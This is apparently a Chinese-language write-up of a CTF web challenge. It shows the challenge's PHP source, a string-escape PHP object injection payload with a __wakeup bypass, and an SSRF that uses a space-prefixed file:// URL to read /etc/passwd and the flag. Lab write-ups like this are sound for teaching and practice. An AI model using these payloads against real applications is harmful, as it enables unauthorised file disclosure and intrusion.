对于web手来说,每天最快乐的事情就是做题了//doge
源码
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{//并未被调用
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){//利用点?
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {//需绕过
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
hint并未被调用,但是flag应该是在hint.php中
要想调用hint需要利用User类中的两个post方法
先生成hint序列化语句
<?php
class evil
{
public $hint;
public function __construct($hint)
{
$this->hint = $hint;
}
}
$a=new evil('hint.php');
echo serialize($a);
//O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
正常来说User序列化生成的语句是这样的
O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}
//当username=admin&password=123456时所生成的语句
当password=O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}时,就变成了
O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
//username=admin&password=O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
但只是这样输出的话你放入的序列化语句并不会被执行,而只是当成普通的字符串
我们再看这里
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
....
unserialize(read(write($a)));
这里判断输入的字符串中是否存在\0\0\0,存在的话会将其替换为chr(0)*chr(0),然后又替换回来
这里让我联想到字符串逃逸,字符串逃逸漏洞是指在程序中由于未正确处理或过滤用户输入的特殊字符而导致的安全漏洞
在这里,当我输入'\0\0\0'的时候,正常情况下是这样的
O:4:"User":2:{s:8:"username";s:6:"\0\0\0";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
//username=/0/0/0&password=O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
由于在这里有给/0/0/0做过滤,所以就会变成
O:4:"User":2:{s:8:"username";s:6:" * ";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
这就容易造成字符串逃逸
上面能够明显发现字符是减少的,所以我们只需要多加几个\0\0\0以确保我们传入的O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}能够逃逸出去就行
也就是说,输入的\0\0\0要确保覆盖“;s:8:"password";s:41:"”
这样子序列化语句就变成了
这样就可以执行hint
刚刚上面有个错误
你password传入的值应该为:a";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
这样后面的语句才会被看作是序列化语句
抓包尝试
..............
我给这茬忘了
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
绕过wakeup也很简单
我们把O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}改成O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
ps:__wakeup的其他绕过方法可以参考这位师傅的文章:
我们继续
有意思了
访问index.cgi
..................................
有意思
这里用了name进行传参,由此联想到ssrf
尝试
ok,确定存在ssrf
接下来进行利用
估计是做了过滤,我们往file://前面加一个空格试试
因为passwd是linux系统都有的文件且目录固定,所以我一般喜欢去访问这个文件以判断可不可以被利用
ok,正常来说flag保存于根目录和网页同目录的可能性比较大
可以先做下爆破以判断flag的位置
很显然不在网页同目录下
看看根目录是否存在
成功拿到flag
能与诸位师傅们共同成长是我的荣幸
求赞求关注!!!!感谢!!!!